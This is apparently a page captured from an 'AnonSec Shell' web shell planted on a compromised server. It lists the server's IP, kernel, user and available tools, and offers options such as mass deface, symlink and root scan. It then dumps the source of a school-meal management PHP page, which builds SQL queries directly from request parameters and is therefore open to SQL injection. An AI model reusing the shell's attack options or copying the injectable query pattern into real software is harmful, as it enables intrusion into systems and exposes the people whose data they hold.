AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell
Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/html/merenda/baturite/modulos/remessa/
Upload File :
[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]
Current File : /var/www/html/merenda/baturite/modulos/remessa/remessa_edt.php
<?php
    /**
     * Criado por PhpStorm.
     * Projeto: SGAE.
     * Arquivo: remessa_edt.php.
     * Usuário: RalpAlves
     * Data: 29/09/2015
     * Hora: 15:14
     */
    $_SESSION['txt_usuario'];
    $id_usu_ent = $_SESSION['idusu'];
    $direito    = $_SESSION['admin'];
    
    $cod_id  = $_GET['cod_id'];
    $rs_rema = mysql_query("SELECT * FROM v_lista_remessa WHERE rms_id=$cod_id order by rms_data");
    $rs_rmav = mysql_fetch_array($rs_rema);
    //$rs_remi = mysql_query("SELECT DISTINCT * FROM v_lista_remessa_item WHERE rmi_rms_id=$cod_id");
    $rs_remi   = mysql_query("SELECT DISTINCT * FROM v_lista_remessa_item_qtd WHERE rmi_rms_id=$cod_id order by pro_produto ");
    $rs_repete = mysql_query("SELECT DISTINCT * FROM v_lista_remessa_item_qtd WHERE rmi_rms_id=$cod_id");
    //$repete    = mysql_fetch_array($rs_repete); ver problemas no repete do cardápio aqui e em relessa_crud (proc_rem);
    
    $rs_esc = mysql_query("SELECT * FROM escolas ORDER BY esc_nome");
    //$rs_prg = mysql_query("SELECT * FROM programa order by prg_programa");
    
    $rs_prg = mysql_query("SELECT DISTINCT prg_id,prg_programa,esc_id,qtd_alunos FROM v_lista_escolas_programas ORDER BY prg_programa");
    
    $rs_pid = $rs_rmav['rms_prg_id'];
    $id_esc = $rs_rmav['rms_esc_id'];
    $rs_alu = mysql_query("SELECT DISTINCT prg_id,prg_programa,esc_id,qtd_alunos FROM v_lista_escolas_programas where prg_id=$rs_pid and esc_id=$id_esc");
    $alunos = mysql_fetch_array($rs_alu);
    
    $rs_prd = mysql_query("SELECT * FROM v_lista_produtos_licitados WHERE qtd_entradanf OR qtd_implantacao OR qtedevol IS NOT NULL ORDER BY pro_produto");
    $rs_und = mysql_query("SELECT * FROM unidade WHERE und_ativo='1'");
    $rs_car = mysql_query("SELECT * FROM cardapio WHERE cdp_dtinic IS NOT NULL ORDER BY cdp_nmcardapio,cdp_dtinic");
    
    $rs_remp = mysql_query("SELECT * FROM v_lista_remessa_programas ORDER BY pro_produto");
    $rs_rmpg = mysql_fetch_array($rs_remp);
    
    //    $di = DateTime::createFromFormat('d-m-y', $rs_rmav['rms_dtinic']);
    //    $df = DateTime::createFromFormat('d-m-y', $rs_rmav['rms_dtfim']);
    //    echo $df->diff($di)->format('%a');
    //    echo $per = ($df - $di);
    
    //CALCULAR PERÍODO CARDAPIO
    $data_inicial = $rs_rmav['rms_dtinic'];
    $data_final   = $rs_rmav['rms_dtfim'];
    // Cria uma função que retorna o timestamp de uma data no formato DD/MM/AAAA
    function geraTimestamp($data)
    {
        $partes = explode('/', $data);
        return mktime(0, 0, 0, $partes[1], $partes[0], $partes[2]);
    }
    
    $time_inicial = geraTimestamp($data_inicial);
    $time_final   = geraTimestamp($data_final);
    // Calcula a diferença de segundos entre as duas datas:
    $diferenca = $time_final - $time_inicial; // 19522800 segundos
    // Calcula a diferença de dias
    $per = (int)floor($diferenca / (60 * 60 * 24)); // 225 dias
    //END CALCULAR PERÍODO CARDAPIO
?>
<head xmlns="http://www.w3.org/1999/html">
    <script type="text/javascript">
        function excluir_registro(e) {
            if (!confirm('Deseja realmente excluir este registro?')) {
                if (window.event)
                    window.event.returnValue = false; else
                    e.preventDefault();
            }
        }
    </script>
    <script type="text/javascript">
        function excluir_todos_registros(e) {
            if (!confirm('Deseja realmente excluir todos os itens deste cardápio?')) {
                if (window.event)
                    window.event.returnValue = false; else
                    e.preventDefault();
            }
        }
    </script>
    <script type="text/javascript">
        $(document).ready(function () {
            $('table.tabe1').DataTable({
                //"pagingType": "full_numbers",
//                "lengthMenu": [[5, 10, 25, 50, -1], [5, 10, 25, 50, "Todos"]],
                stateSave: true,
                autoFill: true,
                "bPaginate": false,
                scrollY: '30vh',
                "oLanguage": {
                    "sProcessing": "Processando. Aguarde...",
                    "sLengthMenu": "Mostrar  _MENU_",
                    "sZeroRecords": "NENHUM REGISTRO ENCONTRADO!",
                    "sInfo": "_TOTAL_ registros",
                    "sInfoEmpty": "0 registros",
                    "pagingType": "scrolling",
                    "sInfoFiltered": "(de _MAX_)",
                    "sInfoPostFix": "",

                    "sSearch": "<em class='fa fa-search' title='pesquisar'></em>",
//                    "sUrl": "",
                    "oPaginate": {
                        "sFirst": "<i class='fa fa-angle-double-left' title='primeiro registro' style='font-size: 8px; margin-right: 0;!important;'></i>",
                        "sPrevious": "<i class='fa fa-arrow-left' title='registro anterior' style='font-size: 8px;'></i>",
                        "sNext": "<i class='fa fa-arrow-right' title='próximo registro' style='font-size: 8px;'></i>",
                        "sLast": "<i class='fa fa-angle-double-right' title='último registro' style='font-size: 8px;'></i>"
                    }
                }
            });
        });
    </script>
    <script type="text/javascript">
        $(document).ready(function () {
            $('.tabe2').DataTable({
                //"pagingType": "full_numbers",
//                "lengthMenu": [[5, 10, 25, 50, -1], [5, 10, 25, 50, "Todos"]],
                stateSave: true,
                autoFill: true,
                "bPaginate": false,
                scrollY: '10vh',
                "oLanguage": {
                    "sProcessing": "Processando. Aguarde...",
                    "sLengthMenu": "Mostrar  _MENU_",
                    "sZeroRecords": "NENHUM REGISTRO ENCONTRADO!",
                    "sInfo": "_TOTAL_ registros",
                    "sInfoEmpty": "0 registros",
                    "pagingType": "scrolling",
                    "sInfoFiltered": "(de _MAX_)",
                    "sInfoPostFix": "",

                    "sSearch": "<em class='fa fa-search' title='pesquisar'></em>",
//                    "sUrl": "",
                    "oPaginate": {
                        "sFirst": "<i class='fa fa-angle-double-left' title='primeiro registro' style='font-size: 8px; margin-right: 0;!important;'></i>",
                        "sPrevious": "<i class='fa fa-arrow-left' title='registro anterior' style='font-size: 8px;'></i>",
                        "sNext": "<i class='fa fa-arrow-right' title='próximo registro' style='font-size: 8px;'></i>",
                        "sLast": "<i class='fa fa-angle-double-right' title='último registro' style='font-size: 8px;'></i>"
                    }
                }
            });
        });
    </script>
</head>

<!--FORMULARIO-->
<body style="padding-top: 40px;"/>
<div class="container panel panel-primary">
    <div class="panel-body">
        <button id="#sign-up" name="bt_novo" class="btn" onClick="location.href='?page=remessa/remessa'"><span class="glyphicon
            glyphicon-arrow-left" title="voltar"/></button>
        <span style="font-size:20px;">&nbsp;&nbsp;Remessa | Itens&nbsp;</span>
        <!--        <button type="submit" name="bt_novo" class="btn botao_direita"><i class="fa fa-check" title="salvar"></i> Salvar</button>-->
        <!--        <a href="?page=cardapio/preparacao" target="_blank"><i class="fa fa-folder-open-o"></i> Preparação</a>-->
        <a href="modulos/remessa/rel_ficha_remessa.php?id=<?php echo $rs_rmav['rms_id'] ?>"
           target='_blank'>
            <i class="glyphicon glyphicon-print text-print navbar-right" title="gerar PDF"></i>
        </a>
    </div>
</div>
<form id="form1" name="ordcpr" id="cad_sol" method="post" action="?page=./remessa/remessa_crud&var_acao=editar">
    <div class="container">
        <div class="col-md-2 col-xs-2 col-lg-2">
            ID
            <input type="text" name="txt_id" readonly value="<?php echo $rs_rmav['rms_id'] ?>" class="form-control" maxlength="10">
        </div>
        <div class="col-md-2 col-xs-2 col-lg-2">
            Data
            <input type="text" readonly name="txt_data" value="<?php echo $rs_rmav['rms_data'] ?>" required onKeyup="formataData(this,event);" class="form-control" maxlength="10">
        </div>
        <div class="col-md-1 col-xs-1 col-lg-1">
            Exercício
            <input type="text" readonly name="txt_exercicio" value="<?php echo $rs_rmav['rms_exercicio'] ?>" readonly required class="form-control"
                   maxlength="4">
        </div>
        <div class="col-md-8 col-xs-8 col-lg-8">
            Cardapio
            <select name="txt_cardapio" class="form-control" disabled>
                <?php while ($_car = mysql_fetch_array($rs_car)) {
                    if ($rs_rmav['rms_cdp_id']==$_car['cdp_id']) {
                        $selected = 'selected';
                    } else {
                        $selected = '';
                    } ?>
                    <option
                            value="<?php echo $_car['cdp_id'] ?>" <?php echo $selected; ?>><?php echo utf8_encode($_car['cdp_nmcardapio']) . ' (' . $_car['cdp_id'] . ')' ?></option>?>?>
                <?php } ?>
            </select>
        </div>
        <div class="col-md-2 col-xs-2 col-lg-2">
            Período inicial
            <input type="text" name="txt_perinicial" readonly value="<?php echo $rs_rmav['rms_dtinic'] ?>" required onKeyup="formataData(this,event);" class="form-control" maxlength="10">
        </div>
        <div class="col-md-2 col-xs-2 col-lg-2">
            Período final
            <input type="text" name="txt_perfinal" readonly value="<?php echo $rs_rmav['rms_dtfim'] ?>" required onKeyup="formataData(this,event);" class="form-control" maxlength="10">
        </div>
        <div class="col-md-8 col-xs-8 col-lg-8">
            Escola
            <select name="txt_escola" class="form-control" disabled>
                <?php while ($_esc = mysql_fetch_array($rs_esc)) {
                    if ($rs_rmav['rms_esc_id']==$_esc['esc_id']) {
                        $selected = 'selected';
                    } else {
                        $selected = '';
                    } ?>
                    <option
                            value="<?=$_esc['esc_id']?>" <?php echo $selected; ?>><?=utf8_encode($_esc['esc_nome'])?></option>?>?>
                <?php } ?>
            </select>
        </div>
        <div class="col-md-4 col-xs-4 col-lg-4">
            Programa
            <select name="txt_programa" class="form-control" disabled>
                <?php while ($_prg = mysql_fetch_array($rs_prg)) {
                    if ($rs_rmav['rms_prg_id']==$_prg['prg_id']) {
                        $selected = 'selected';
                    } else {
                        $selected = '';
                    } ?>
                    <option
                            value="<?=$_prg['prg_id']?>" <?php echo $selected; ?>><?=$_prg['prg_programa']?></option>?>?>
                <?php } ?>
            </select>
        </div>
    </div>
</form>
<br>
<!--ITENS DA REMESSA-->
<div class="container">
    <div class="panel with-nav-tabs panel-primary">
        <!--        <div class='panel-heading'>Itens da remessa | Alunos atendidos: -->
        <div class='panel-heading'>Itens da remessa | Alunos atendidos: <?php echo $alunos['qtd_alunos'] . ' | Dias: ' . $per . ' | Repete: 1' ?>
        </div>
        <div class="panel-body">
            <div class="tab-content">
                <!--ADICONAR PRODUTOS FORA DO CARDÁPIO-->
                <!--************************************-->
                <form id="form1" name="form1" id="cad_produto" method="post" action="?page=./remessa/remessa_crud&var_acao=cad_item">
                    <div class="panel panel-body panel-primary filterable">
                        <input id="txt_programa" type="hidden" name="txt_programa" value="<?php echo $rs_prg['rms_prg_id'] ?>">
                        <input type="hidden" id="txt_id_rem" name="txt_id_rem" readonly class="form-control" value="<?php echo $rs_rmav['rms_id'] ?>">
                        <input type="hidden" id="txt_data_i" name="txt_data_i" readonly class="form-control" value="<?php echo $rs_rmav['rms_data'] ?>">

                        <div class="col-md-6">
                            <label for="">Produto</label>
                            <select name="txt_produto" id="txt_produto" onchange="CarregaUnidade(this.value);" class="form-control select2 select2-container--open">
                                <option value="999" selected>Selecione uma opção</option>
                                
                                <?php while ($_prd = mysql_fetch_array($rs_prd)) {
                                    //SALDO GERAL
                                    $cod_prd   = $_prd['pro_id'];
                                    $rs_entra1 = mysql_query("SELECT * FROM v_lista_saldo_entradas where pro_id=$cod_prd");
                                    $entra1    = mysql_fetch_array($rs_entra1);
                                    $rs_perca1 = mysql_query("SELECT * FROM v_saldo_percas where imi_codprod=$cod_prd");
                                    $s_per1    = mysql_fetch_array($rs_perca1);
                                    $toent1    = $entra1['qtd_entra_implam'] + $entra1['qtd_entra_nf'];
                                    $tosal1    = ($entra1['qtd_entra_implam'] + $entra1['qtd_entra_nf']) - ($entra1['qtd_sai_rem_car'] + $entra1['qtd_sai_rem_avu'] + $s_per1['quantidade']);
                                    //SALDO GERAL
                                    ?>
                                    <option value="<?php echo $_prd['pro_id'] ?>|<?php echo $_prd['pro_unid_id'] ?>"><?php echo utf8_encode($_prd['pro_produto']) . ' (' . $_prd['pro_id'] . ')' . ' (Saldo: ' . number_format($tosal1, 2, ',', '.') . ')' ?></option>
                                <?php } ?>
                            </select>
                        </div>
                        <div class="col-md-2">
                            <label for="">unidade</label>
                            <select id="txt_unidade" name="txt_unidade" class="form-control">
                                <option value="999" selected>Selecione</option>
                                <?php while ($_und = mysql_fetch_array($rs_und)) {
                                    if ($rs_remi['und_id']==$_und['und_id']) {
                                        $selected = 'selected';
                                    } else {
                                        $selected = '';
                                    } ?>?>
                                    <option value="<?=$_und['und_id']?>" <?php echo $selected; ?>><?=utf8_encode($_und['und_desc'])?></option>
                                <?php } ?>
                            </select>
                        </div>
                        <div class="col-md-2">
                            <label for="">Quantidade</label>
                            <input id="txt_qtd" type="text" name="txt_qtd" class="form-control lm" required onKeyup="formataValor(this,event);">
                        </div>
                        <div class="col-md-2">
                            <label for="">&nbsp;&nbsp;&nbsp;</label>
                            <br>
                            <button type='submit' name='bt_cad_prod' class='btn input-sm' title="Adiconar produto">
                                <i class="fa fa-check"></i>
                            </button>
                        </div>
                    </div>
                </form>

                <!--END ADICONAR PRODUTOS FORA DO CARDÁPIO-->
                <!--************************************-->
                <div>


                    <div class="panel panel-body panel-primary">
                        <table class="table tabe2 table-striped table-hover dt-responsive' cellspacing='0' width='100%' border='0'">
                            <!--EXCLUIR TODOS OS ITENS DA REMESSA-->
                            <div class="panel-primary">
                                <p></p>
                                <form id="form1" name="ordcpr" id="cad_sol" method="post" action="?page=./remessa/remessa_crud&id=<?php echo $rs_rmav['rms_id'] ?>&var_acao=exc_itens_remessa">
                                    <a href="?page=./remessa/remessa_crud&var_acao=exc_itens_remessa&id=<?php echo $rs_rmav['rms_id'] ?>">
                                        <i class="glyphicon glyphicon-trash text-orange pull-right" onclick='excluir_todos_registros(event);' title="Excluir todos os itens da remessa"></i>
                                    </a>
<!--                                </form>-->
                            </div>
                            <!--EXCLUIR TODOS OS ITENS DA REMESSA-->
                            <thead>
                            <tr>
                                <th>ID</th>
                                <th>Produto</th>
                                <th>Unidade</th>
                                <th>Ref.dia</th>
                                <!--                                <th>Preparação</th>-->
                                <th>Ref.</th>
                                <th class='direita'>P.capta</th>
                                <!--                                <th class='direita'>Dias</th>-->
                                <!--                                <th class="direita">Saldo</th>-->
                                <th class="direita">Quantidade</th>
                                <th></th>
                            </tr>
                            </thead>
                            <tbody>
                            <?php
                                while ($row_rsResult = mysql_fetch_array($rs_remi)) {
                                    $dias   = $rs_rmav['rms_dtfim'] - $rs_rmav['rms_dtinic'];
                                    $id_ite = $row_rsResult['rmi_id'];
                                    $cod_pd = $row_rsResult['rmi_pro_id'];
                                    $id_rem = $rs_rmav['rms_id'];

//                                    $rs_entra = mysql_query("SELECT * FROM v_lista_saldo_entradas where pro_id=$cod_pd");
//                                    $entra    = mysql_fetch_array($rs_entra);
//                                    $toent    = ($entra['qtd_entra_implam'] + $entra['qtd_entra_nf']);
//                                    $tosal    = (($entra['qtd_entra_implam'] + $entra['qtd_entra_nf']) - ($entra['qtd_sai_rem_car'] + $entra['qtd_sai_rem_avu']));
                                    
                                    echo "<tr>";
                                    echo "<td>" . $row_rsResult['rmi_id'] . "</td>";
                                    echo "<td>" . utf8_encode($row_rsResult['pro_produto']) . '-' . str_pad($row_rsResult['rmi_pro_id'], '2', '0', STR_PAD_LEFT) . "</td>";
                                    echo "<td>" . $row_rsResult['und_desc'] . "</td>";
                                    echo "<td>" . $row_rsResult['ref_qtd_dia'] . "</td>";
//                                    echo "<td>" . $row_rsResult['pre_nmpreparacao'] . "</td>";
                                    echo "<td>" . $row_rsResult['ref_data'] . "</td>";
                                    //echo "<td class='direita'>" . $row_rsResult['rmi_percapta'] . "</td>";
                                    
                                    $v_percapita = number_format($row_rsResult['rmi_percapta'], 2, ',', '.');
                                    $vrmi_id     = $row_rsResult['rmi_id'];
                                    echo "
                                    <form id='form1' name='ordcpr' id='cad_sol' method='post' action='?page=remessa/remessa_crud&var_acao=alt_percapta'>
                                    <td class='direita' hidden><input type='text' name='id_rem' value='$id_rem'></td>
                                    <td class='direita' hidden><input type='text' name='vrmi_id' value='$vrmi_id'></td>
                                    <td class='direita'><input type='text' required name='txt_percapita' class='form-control input-sm' value='$v_percapita'>
                                    <button type='submit' name='bt_novo' class=' btn-primary'><i class='fa fa-check' title='salvar'></i></button>
                                    </td>
                                    </form>";
                                    
                                    $v_qtdprd = number_format($row_rsResult['rmi_pro_qtd'], 2, ',', '.');
                                    echo "
                                    <form id='form2' name='ordcpr1' id='cad_sol1' method='post' action='?page=remessa/remessa_crud&var_acao=alt_qtdpro'>
                                    <td class='direita' hidden><input type='text' name='id_rem' value='$id_rem'></td>
                                    <td class='direita' hidden><input type='text' name='vrmi_id' value='$vrmi_id'></td>
                                    <td class='direita'><input type='text' required name='txt_qtdpro' class='form-control input-sm' value='$v_qtdprd'>
                                    <button type='submit' name='bt_novo' class=' btn-primary'><i class='fa fa-check' title='salvar'></i></button>
                                    </td>
                                    </form>";
                                    
                                    //echo "<td class='direita'>" . number_format($v_qtdprd, 2, ',', '.') . "</td>";
                                    
                                    
                                    $v_alunos = $alunos['qtd_alunos'];
                                    $v_dias   = $dias;
                                    
                                    if ($direito=='1') {
                                        echo "<td><a href='?page=remessa/remessa_crud&id_rem=$id_rem&id_ite=$id_ite&var_acao=exc_item'>
                                            <em class='fa fa-trash text-red' title='Excluir registro' onclick='excluir_registro(event);'/></a></td>";
                                    } else {
                                        echo "<td><a href='#'><img src='img/not.png' width='16' title='sem permissão para excluir o registro'/></a></td>";
                                    }
                                    
                                    echo "</tr>";
                                }
                            ?>
                            </tbody>
                        </table>
                    </div>
                </div>
                <div id="bt_add" class="col-md-12 centro panel-body">
                    <a onclick="showCarga()" href="?page=remessa/remessa_crud&id_rem=<?php echo $id_rem ?>&v_alunos=<?php echo $v_alunos ?>&v_dias=<?php echo $v_dias ?>&repete=<?php echo $repete['rmi_repete'] ?>&txt_percapita=<?php echo $v_percapita ?>&vrmi_id=<?php echo $id_ite ?>&var_acao=proc_rem"
                       type="submit" name="bt_novo"><i class="fa fa-check fa-2x" title="salvar"></i> Processar remessa de produtos</a>
                </div>
            </div>
        </div>
    </div>
</div>
Anon7 - 2022
AnonSec Team